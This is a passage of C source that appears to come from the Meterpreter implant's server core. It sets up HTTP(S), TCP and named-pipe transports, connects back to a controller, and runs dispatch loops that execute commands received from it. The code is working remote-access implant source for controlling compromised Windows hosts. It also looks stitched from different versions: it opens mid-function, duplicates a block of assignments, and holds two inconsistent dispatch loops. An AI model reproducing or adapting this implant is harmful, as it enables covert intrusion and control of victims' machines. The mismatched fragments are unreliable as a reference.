					sleep(remote->next_transport_wait);

					// the wait is a once-off thing, needs to be reset each time
					remote->next_transport_wait = 0;
				}
			}

			// clean up the transports
			while (remote->transport)
			{
				remove_transport(remote, remote->transport);
			}

			dprintf("[SERVER] Deregistering dispatch routines...");
			deregister_dispatch_routines(remote);
		} while (0);

		dprintf("[DISPATCH] calling scheduler_destroy...");
		scheduler_destroy();

		dprintf("[DISPATCH] calling command_join_threads...");
		command_join_threads();

		remote_deallocate(remote);
	}
	__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
	{
		dprintf("[SERVER] *** exception triggered!");

		thread_kill(serverThread);
	}

	dprintf("[SERVER] Finished.");
	return res;
}
/*!
 * @brief Create an HTTP(S) transport from the given settings.
 * @param config Pointer to the HTTP configuration block.
 * @param size Pointer to the size of the parsed config block.
 * @param config Pointer to the HTTP configuration block.
 * @return Pointer to the newly configured/created HTTP(S) transport instance.
 */
Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size)
{
	Transport* transport = (Transport*)malloc(sizeof(Transport));
	HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext));

 	if (size)
 	{
 		*size = sizeof(MetsrvTransportHttp);
 	}

	dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url);

	memset(transport, 0, sizeof(Transport));
	memset(ctx, 0, sizeof(HttpTransportContext));

	dprintf("[TRANS HTTP] Given ua: %S", config->ua);
	if (config->ua[0])
	{
		ctx->ua = _wcsdup(config->ua);
	}
	dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname);
	if (config->proxy.hostname[0])
	{
		ctx->proxy = _wcsdup(config->proxy.hostname);
	}
	dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username);
	if (config->proxy.username[0])
	{
		ctx->proxy_user = _wcsdup(config->proxy.username);
	}
	dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password);
	if (config->proxy.password[0])
	{
		ctx->proxy_pass = _wcsdup(config->proxy.password);
	}
	ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0;

	if (config->custom_headers[0])
	{
		ctx->custom_headers = _wcsdup(config->custom_headers);
		if (size)
		{
			*size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]);
		}
	}

	dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
		config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3],
		config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7],
		config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11],
		config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15],
		config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]);

	// only apply the cert hash if we're given one and it's not the global value
	SAFE_FREE(ctx->cert_hash);
	unsigned char emptyHash[CERT_HASH_SIZE] = { 0 };
	if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE))
	{
		ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20);
		memcpy(ctx->cert_hash, config->ssl_cert_hash, 20);
	}

	ctx->create_req = get_request_winhttp;
	ctx->send_req = send_request_winhttp;
	ctx->close_req = close_request_winhttp;
	ctx->validate_response = validate_response_winhttp;
	ctx->receive_response = receive_response_winhttp;
	ctx->read_response = read_response_winhttp;

	transport->timeouts.comms = config->common.comms_timeout;
	transport->timeouts.retry_total = config->common.retry_total;
	transport->timeouts.retry_wait = config->common.retry_wait;
	transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP;
	ctx->url = transport->url = _wcsdup(config->common.url);
	transport->packet_transmit = packet_transmit_http;
	transport->server_dispatch = server_dispatch_http;
	transport->transport_init = server_init_winhttp;
	transport->transport_deinit = server_deinit_http;
	transport->transport_destroy = transport_destroy_http;
	transport->ctx = ctx;
	transport->comms_last_packet = current_unix_timestamp();
	transport->get_config_size = transport_get_config_size_http;

	return transport;
}
/*!
 * @brief The servers main dispatch loop for incoming requests using HTTP(S).
 * @param remote Pointer to the remote endpoint for this server connection.
 * @param dispatchThread Pointer to the main dispatch thread.
 * @returns Indication of success or failure.
 */
static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
{
	BOOL running = TRUE;
	LONG result = ERROR_SUCCESS;
	Packet* packet = NULL;
	THREAD* cpt = NULL;
	DWORD ecount = 0;
	DWORD delay = 0;
	Transport* transport = remote->transport;
	HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;

	while (running)
	{
		if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp())
		{
			dprintf("[DISPATCH] Shutting down server due to communication timeout");
			break;
		}

		if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp())
		{
			dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
			dprintf("Timestamp: %u  Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end);
			break;
		}

		if (event_poll(dispatchThread->sigterm, 0))
		{
			dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
			break;
		}

		dprintf("[DISPATCH] Reading data from the remote side...");
		result = packet_receive_http(remote, &packet);

		if (result != ERROR_SUCCESS)
		{
			// Update the timestamp for empty replies
			if (result == ERROR_EMPTY)
			{
				transport->comms_last_packet = current_unix_timestamp();
			}
			else if (result == ERROR_WINHTTP_CANNOT_CONNECT)
			{
				dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET");
				// next we need to indicate that we need to do a switch to wininet when we terminate
				ctx->move_to_wininet = TRUE;

				// and pretend to do a transport switch, to ourselves!
				remote->next_transport = remote->transport;
				result = ERROR_SUCCESS;
				break;
			}
			else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT)
			{
				// This means that the certificate validation failed, and so
				// we don't trust who we're connecting with, so we need to move
				// on to another transport.
				// If we're the only transport, then we should wait for the allotted
				// time before trying again. Otherwise, we can just switch immediately.
				// This avoids spinning the process and making way too many requests
				// in a short period of time (ie. avoiding noise).
				if (remote->transport == remote->transport->next_transport)
				{
					remote->next_transport_wait = remote->transport->timeouts.retry_wait;
				}

				break;
			}
			else if (result == ERROR_BAD_CONFIGURATION)
			{
				// something went wrong with WinINET so break.
				break;
			}

			delay = 10 * ecount;
			if (ecount >= 10)
			{
				delay *= 10;
			}

			ecount++;

			dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
			Sleep(min(10000, delay));
		}
		else
		{
			transport->comms_last_packet = current_unix_timestamp();

			// Reset the empty count when we receive a packet
			ecount = 0;

			dprintf("[DISPATCH] Returned result: %d", result);

			if (packet != NULL)
			{
				running = command_handle(remote, packet);
				dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));

				if (ctx->new_uri != NULL)
				{
					dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri);
					dprintf("[DISPATCH] Old URI is: %S", ctx->uri);
					dprintf("[DISPATCH] Old URL is: %S", transport->url);

					// if the new URI needs more space, let's realloc space for the new URL now
					int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri);
					if (diff > 0)
					{
						dprintf("[DISPATCH] New URI is bigger by %d", diff);
						transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t));
					}

					// we also need to patch the new URI into the original transport URL, not just the currently
					// active URI for comms. If we don't, then migration behaves badly.
					// The URL looks like this:  http(s)://<domain-or-ip>:port/lurivalue/UUIDJUNK/
					// Start by locating the start of the URI in the current URL, by finding the third slash,
					// as this value includes the LURI
					wchar_t* csr = transport->url;
					for (int i = 0; i < 3; ++i)
					{
						// We need to move to the next character first in case
						// we are currently pointing at the previously found /
						// we know we're safe skipping the first character in the whole
						// URL because that'll be part of the scheme (ie. 'h' in http)
						++csr;

						while (*csr != L'\0' && *csr != L'/')
						{
							++csr;
						}

						dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr);

						// this shouldn't happen!
						if (*csr == L'\0')
						{
							break;
						}
					}

					// the pointer that we have will be
					dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr);

					// patch in the new URI
					wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri);
					dprintf("[DISPATCH] New URL is: %S", transport->url);

					// clean up
					SAFE_FREE(ctx->uri);
					ctx->uri = ctx->new_uri;
					ctx->new_uri = NULL;
				}
			}
			else
			{
				dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet");
			}
		}
	}

	return result;
}
/*!
 * @brief Initialise the HTTP(S) connection.
 * @param transport Pointer to the transport instance.
 * @return Indication of success or failure.
 */
static BOOL server_init_winhttp(Transport* transport)
{
	URL_COMPONENTS bits;
	wchar_t tmpHostName[URL_SIZE];
	wchar_t tmpUrlPath[URL_SIZE];
	HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;

	dprintf("[WINHTTP] Initialising ...");

	// configure proxy
	if (ctx->proxy)
	{
		dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy);
		ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0);
	}
	else
	{
		ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
	}

	if (!ctx->internet)
	{
		dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError());
		return FALSE;
	}

	dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);

	// The InternetCrackUrl method was poorly designed...
	ZeroMemory(tmpHostName, sizeof(tmpHostName));
	ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath));

	ZeroMemory(&bits, sizeof(bits));
	bits.dwStructSize = sizeof(bits);

	bits.dwHostNameLength = URL_SIZE - 1;
	bits.lpszHostName = tmpHostName;

	bits.dwUrlPathLength = URL_SIZE - 1;
	bits.lpszUrlPath = tmpUrlPath;

	dprintf("[DISPATCH] About to crack URL: %S", transport->url);
	WinHttpCrackUrl(transport->url, 0, 0, &bits);

	SAFE_FREE(ctx->uri);
	ctx->uri = _wcsdup(tmpUrlPath);
	transport->comms_last_packet = current_unix_timestamp();

	dprintf("[DISPATCH] Configured URI: %S", ctx->uri);
	dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);

	// Allocate the connection handle
	ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0);
	if (!ctx->connection)
	{
		dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError());
		return FALSE;
	}

	dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);

	return TRUE;
}
/*!
 * @brief Initialise the HTTP(S) connection.
 * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in.
 * @param sock Reference to the original socket FD passed to metsrv (ignored);
 * @return Indication of success or failure.
 */
static BOOL server_init_wininet(Transport* transport)
{
	URL_COMPONENTS bits;
	wchar_t tmpHostName[URL_SIZE];
	wchar_t tmpUrlPath[URL_SIZE];
	HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;

	dprintf("[WININET] Initialising ...");

	// configure proxy
	if (ctx->proxy)
	{
		dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy);
		ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0);
	}
	else
	{
		ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	}

	if (!ctx->internet)
	{
		dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError());
		return FALSE;
	}

	dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);

	// The InternetCrackUrl method was poorly designed...
	ZeroMemory(tmpHostName, sizeof(tmpHostName));
	ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath));

	ZeroMemory(&bits, sizeof(bits));
	bits.dwStructSize = sizeof(bits);

	bits.dwHostNameLength = URL_SIZE - 1;
	bits.lpszHostName = tmpHostName;

	bits.dwUrlPathLength = URL_SIZE - 1;
	bits.lpszUrlPath = tmpUrlPath;

	dprintf("[DISPATCH] About to crack URL: %S", transport->url);
	InternetCrackUrlW(transport->url, 0, 0, &bits);

	SAFE_FREE(ctx->uri);
	ctx->uri = _wcsdup(tmpUrlPath);
	transport->comms_last_packet = current_unix_timestamp();

	dprintf("[DISPATCH] Configured URI: %S", ctx->uri);
	dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);

	// Allocate the connection handle
	ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	if (!ctx->connection)
	{
		dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
		return FALSE;
	}

	if (ctx->proxy)
	{
		if (ctx->proxy_user)
		{
			InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user,  (DWORD)wcslen(ctx->proxy_user));
		}
		if (ctx->proxy_pass)
		{
			InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass));
		}
	}

	dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);

	return TRUE;
}
/*!
 * @brief Configure the named pipe connnection. If it doesn't exist, go ahead and estbalish it.
 * @param transport Pointer to the transport instance.
 * @return Indication of success or failure.
 */
static BOOL configure_named_pipe_connection(Transport* transport)
{
	DWORD result = ERROR_SUCCESS;
	wchar_t tempUrl[512];
	NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx;

	if (ctx->pipe_name == NULL)
	{
		dprintf("[NP CONFIGURE] Url: %S", transport->url);
		wcscpy_s(tempUrl, 512, transport->url);
		dprintf("[NP CONFIGURE] Copied: %S", tempUrl);

		transport->comms_last_packet = current_unix_timestamp();

		dprintf("[NP CONFIGURE] Making sure it's a pipe ...");
		if (wcsncmp(tempUrl, L"pipe", 4) == 0)
		{
			dprintf("[NP CONFIGURE] Yup, it is, parsing");
			wchar_t* pServer = wcsstr(tempUrl, L"//") + 2;
			dprintf("[NP CONFIGURE] pServer is %p", pServer);
			dprintf("[NP CONFIGURE] pServer is %S", pServer);
			wchar_t* pName = wcschr(pServer, L'/') + 1;
			dprintf("[NP CONFIGURE] pName is %p", pName);
			dprintf("[NP CONFIGURE] pName is %S", pName);
			wchar_t* pSlash = wcschr(pName, L'/');
			dprintf("[NP CONFIGURE] pName is %p", pName);

			// Kill off a trailing slash if there is one
			if (pSlash != NULL)
			{
				*pSlash = '\0';
			}

			*(pName - 1) = '\0';

			dprintf("[NP CONFIGURE] Server: %S", pServer);
			dprintf("[NP CONFIGURE] Name: %S", pName);

			size_t requiredSize = wcslen(pServer) + wcslen(pName) + 9;
			ctx->pipe_name = (STRTYPE)calloc(requiredSize, sizeof(CHARTYPE));
			_snwprintf_s(ctx->pipe_name, requiredSize, requiredSize - 1, L"\\\\%s\\pipe\\%s", pServer, pName);
			dprintf("[NP CONFIGURE] Full pipe name: %S", ctx->pipe_name);
		}
	}


	// check if comms is already open via a staged payload
	if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE)
	{
		// Configure PIPE_WAIT. Stager doesn't do this because ConnectNamedPipe may never return.
		DWORD mode = 0;
		SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL);
		dprintf("[NP] Connection already running on %u", ctx->pipe);
	}
	else
	{
		dprintf("[NP CONFIGURE] pipe name is %p", ctx->pipe_name);

		if (ctx->pipe_name != NULL)
		{
			if (wcsncmp(ctx->pipe_name, L"\\\\.\\", 4) == 0)
			{
				ctx->pipe = bind_named_pipe(ctx->pipe_name, &transport->timeouts);
			}
			else
			{
				ctx->pipe = reverse_named_pipe(ctx->pipe_name, &transport->timeouts);
			}
		}
		else
		{
			dprintf("[NP] we might have had an invalid URL");
			result = ERROR_INVALID_PARAMETER;
		}
	}

	if (ctx->pipe == INVALID_HANDLE_VALUE)
	{
		dprintf("[SERVER] Something went wrong");
		return FALSE;
	}

	dprintf("[SERVER] Looking good, FORWARD!");

	// Do not allow the file descriptor to be inherited by child processes
	SetHandleInformation((HANDLE)ctx->pipe, HANDLE_FLAG_INHERIT, 0);

	transport->comms_last_packet = current_unix_timestamp();

	return TRUE;
}
/*!
 * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it.
 * @param remote Pointer to the remote instance with the TCP transport details wired in.
 * @param sock Reference to the original socket FD passed to metsrv.
 * @return Indication of success or failure.
 */
static BOOL configure_tcp_connection(Transport* transport) {
	DWORD result = ERROR_SUCCESS;
	size_t charsConverted;
	char tempUrl[512] = {0};
	TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx;

	// check if comms is already open via a staged payload
	if (ctx->fd) {
		dprintf("[TCP] Connection already running on %u", ctx->fd);
	}
	else {
		dprintf("[TCP CONFIGURE] Url: %s", transport->url);

		// copy the URL to the temp location and work from there
		// so that we don't damage the original URL while breaking
		// it up into its individual parts.
		strncpy(tempUrl, transport->url, sizeof(tempUrl) - 1);

		//transport->start_time = current_unix_timestamp();
		transport->comms_last_packet = current_unix_timestamp();

		if (strncmp(tempUrl, "tcp", 3) == 0) {
			char* pHost = strstr(tempUrl, "//") + 2;
			char* pPort = strrchr(pHost, ':') + 1;

			// check if we're using IPv6
			if (tempUrl[3] == '6') {
				char* pScopeId = strrchr(pHost, '?') + 1;
				*(pScopeId - 1) = '\0';
				*(pPort - 1) = '\0';
				dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
				result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total,
					transport->timeouts.retry_wait, &ctx->fd);
			}
			else {
				u_short usPort = (u_short)atoi(pPort);

				// if no host is specified, then we can assume that this is a bind payload, otherwise
				// we'll assume that the payload is a reverse_tcp one and the given host is valid
				if (*pHost == ':') {
					dprintf("[STAGELESS] IPv4 bind port %s", pPort);
					result = bind_tcp(usPort, &ctx->fd);
				}
				else {
					*(pPort - 1) = '\0';
					dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
					result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total,
						transport->timeouts.retry_wait, &ctx->fd);
				}
			}
		}
	}

	if (result != ERROR_SUCCESS) {
		dprintf("[SERVER] Something went wrong %u", result);
		return FALSE;
	}

	dprintf("[SERVER] Looking good, FORWARD!");

	dprintf("[SERVER] Flushing the socket handle...");
	server_socket_flush(transport);

	// Short term hack to be removed when the stageless stuff works.
	// Flush the socket a second time to ignore the payload if we're
	// reconnecting
	server_socket_flush(transport);

	transport->comms_last_packet = current_unix_timestamp();

	dprintf("[SERVER] Initializing SSL...");
	if (!server_initialize_ssl(transport)) {
		return FALSE;
	}

	dprintf("[SERVER] Negotiating SSL...");
	if (!server_negotiate_ssl(transport)) {
		return FALSE;
	}

	return TRUE;
}
/*!
 * @brief Setup and run the server. This is called from Init via the loader.
 * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
 * @return Meterpreter exit code (ignored by the caller).
 */
DWORD server_setup(MetsrvConfig* config)
{
	THREAD * serverThread = NULL;
	Remote *remote = NULL;
	char cStationName[256] = { 0 };
	char cDesktopName[256] = { 0 };
	DWORD res = 0;

	dprintf("[SERVER] Initializing...");
	int local_error = 0;

	dprintf("[SERVER] Initializing from configuration: 0x%p", config);
	dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd);
	dprintf("[SESSION] Expiry: %u", config->session.expiry);

	srand(time(NULL));

	// Open a THREAD item for the servers main thread, we use this to manage migration later.
	serverThread = thread_open();
	dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X",
		serverThread->handle, serverThread->id, serverThread->sigterm);

	if (!(remote = remote_allocate())) {
		SetLastError(ERROR_NOT_ENOUGH_MEMORY);
		goto out;
	}

	remote->orig_config = config;
	remote->sess_expiry_time = config->session.expiry;
	remote->sess_start_time = current_unix_timestamp();
	remote->sess_expiry_end = remote->sess_start_time + config->session.expiry;

	remote->orig_config = config;
	remote->sess_expiry_time = config->session.expiry;
	remote->sess_start_time = current_unix_timestamp();
	remote->sess_expiry_end = remote->sess_start_time + config->session.expiry;

	dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end);

	DWORD transportSize = 0;
	if (!create_transports(remote, config->transports, &transportSize)) {
		// not good, bail out!
		SetLastError(ERROR_INVALID_PARAMETER);
		goto out;
	}

	// the first transport should match the transport that we initially connected on.
	// If it's TCP comms, we need to wire that up.
	if (config->session.comms_fd) {
		((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd;
	}

	// TODO: need to implement this when we have the valid approach done for stageless.
	//load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));

	// Set up the transport creation function pointer
	remote->trans_create = create_transport;
	// Set up the transport removal function pointer
	remote->trans_remove = remove_transport;
	// and the config creation pointer
	remote->config_create = config_create;

	// Store our thread handle
	remote->server_thread = serverThread->handle;

	dprintf("[SERVER] Registering dispatch routines...");
	register_dispatch_routines();

	remote->sess_start_time = current_unix_timestamp();

	// loop through the transports, reconnecting each time.
	while (remote->transport) {
		if (remote->transport->transport_init) {
			dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
			// Each transport has its own set of retry settings and each should honour
			// them individually.
			if (!remote->transport->transport_init(remote->transport)) {
				dprintf("[SERVER] transport initialisation failed, moving to the next transport");
				remote->transport = remote->transport->next_transport;

				// when we have a list of transports, we'll iterate to the next one.
				continue;
			}
		}

		dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
		DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);

		dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
		if (remote->transport->transport_deinit) {
			dprintf("[DISPATCH] deinitialising transport");
			remote->transport->transport_deinit(remote->transport);
		}

		dprintf("[TRANS] resetting transport");
		if (remote->transport->transport_reset) {
			remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
		}

		// If the transport mechanism failed, then we should loop until we're able to connect back again.
		if (dispatchResult == ERROR_SUCCESS) {
			dprintf("[DISPATCH] Server requested shutdown of dispatch");
			// But if it was successful, and this is a valid exit, then we should clean up and leave.
			if (remote->next_transport == NULL) {
				dprintf("[DISPATCH] No next transport specified, leaving");
				// we weren't asked to switch transports, so we exit.
				break;
			}

			// we need to change transports to the one we've been given. We will assume, for now,
			// that the transport has been created using the appropriate functions and that it is
			// part of the transport list.
			dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
			remote->transport = remote->next_transport;
			remote->next_transport = NULL;

			if (remote->next_transport_wait > 0) {
				dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
				sleep(remote->next_transport_wait);
				// the wait is a once-off thing, needs to be reset each time
				remote->next_transport_wait = 0;
			}
		}
		else {
			// move to the next one in the list
			dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
			remote->transport = remote->transport->next_transport;
		}
	}

	// clean up the transports
	while (remote->transport)
	{
		remove_transport(remote, remote->transport);
	}

	dprintf("[SERVER] Deregistering dispatch routines...");
	deregister_dispatch_routines(remote);

	remote_deallocate(remote);

out:
	res = GetLastError();

	dprintf("[SERVER] Finished.");
	return res == ERROR_SUCCESS;
}
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{
	DWORD result = ERROR_NOT_ENOUGH_MEMORY;
	Transport* transport = NULL;
	wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);

	TimeoutSettings timeouts = { 0 };

	int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
	timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
	timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
	timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);

	// special case, will still leave this in here even if it's not transport related
	if (sessionExpiry != 0)
	{
		remote->sess_expiry_time = sessionExpiry;
		remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time;
	}

	if (timeouts.comms == 0)
	{
		timeouts.comms = remote->transport->timeouts.comms;
	}
	if (timeouts.retry_total == 0)
	{
		timeouts.retry_total = remote->transport->timeouts.retry_total;
	}
	if (timeouts.retry_wait == 0)
	{
		timeouts.retry_wait = remote->transport->timeouts.retry_wait;
	}

	dprintf("[CHANGE TRANS] Url: %S", transportUrl);
	dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms);
	dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total);
	dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait);

	do
	{
		if (transportUrl == NULL)
		{
			dprintf("[CHANGE TRANS] Something was NULL");
			break;
		}

		if (wcsncmp(transportUrl, L"tcp", 3) == 0)
		{
			MetsrvTransportTcp config = { 0 };
			config.common.comms_timeout = timeouts.comms;
			config.common.retry_total = timeouts.retry_total;
			config.common.retry_wait = timeouts.retry_wait;
			memcpy(config.common.url, transportUrl, sizeof(config.common.url));
			transport = remote->trans_create(remote, &config.common, NULL);
		}
		else
		{
			BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0;
			wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA);
			wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST);
			wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER);
			wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS);
			PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);

			MetsrvTransportHttp config = { 0 };
			config.common.comms_timeout = timeouts.comms;
			config.common.retry_total = timeouts.retry_total;
			config.common.retry_wait = timeouts.retry_wait;
			wcsncpy(config.common.url, transportUrl, URL_SIZE);

			if (proxy)
			{
				wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE);
				free(proxy);
			}

			if (proxyUser)
			{
				wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE);
				free(proxyUser);
			}

			if (proxyPass)
			{
				wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE);
				free(proxyPass);
			}

			if (ua)
			{
				wcsncpy(config.ua, ua, UA_SIZE);
				free(ua);
			}

			if (certHash)
			{
				memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE);
				// No need to free this up as it's not a wchar_t
			}

			transport = remote->trans_create(remote, &config.common, NULL);
		}

		// tell the server dispatch to exit, it should pick up the new transport
		result = ERROR_SUCCESS;
	} while (0);

	*transportBufer = transport;

	return result;
}
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* dispatchThread)
{
	BOOL running = TRUE;
	LONG result = ERROR_SUCCESS;
	Packet* packet = NULL;
	THREAD* cpt = NULL;
	DWORD ecount = 0;
	DWORD delay = 0;
	HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;

	while (running)
	{
		if (ctx->comm_timeout != 0 && ctx->comm_last_packet + ctx->comm_timeout < current_unix_timestamp())
		{
			dprintf("[DISPATCH] Shutting down server due to communication timeout");
			break;
		}

		if (ctx->expiration_time != 0 && ctx->expiration_time < current_unix_timestamp())
		{
			dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
			dprintf("Timestamp: %u  Expiration: %u", current_unix_timestamp(), ctx->expiration_time);
			break;
		}

		if (event_poll(dispatchThread->sigterm, 0))
		{
			dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
			break;
		}

		dprintf("[DISPATCH] Reading data from the remote side...");
		result = packet_receive_via_http(remote, &packet);
		if (result != ERROR_SUCCESS)
		{
			// Update the timestamp for empty replies
			if (result == ERROR_EMPTY)
			{
				ctx->comm_last_packet = current_unix_timestamp();
			}
			else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT)
			{
				// This means that the certificate validation failed, and so
				// we don't trust who we're connecting with. Bail out.
				break;
			}

			if (ecount < 10)
			{
				delay = 10 * ecount;
			}
			else
			{
				delay = 100 * ecount;
			}

			ecount++;

			dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
			Sleep(min(10000, delay));
			continue;
		}

		ctx->comm_last_packet = current_unix_timestamp();

		// Reset the empty count when we receive a packet
		ecount = 0;

		dprintf("[DISPATCH] Returned result: %d", result);

		running = command_handle(remote, packet);
		dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
	}

	return result;
}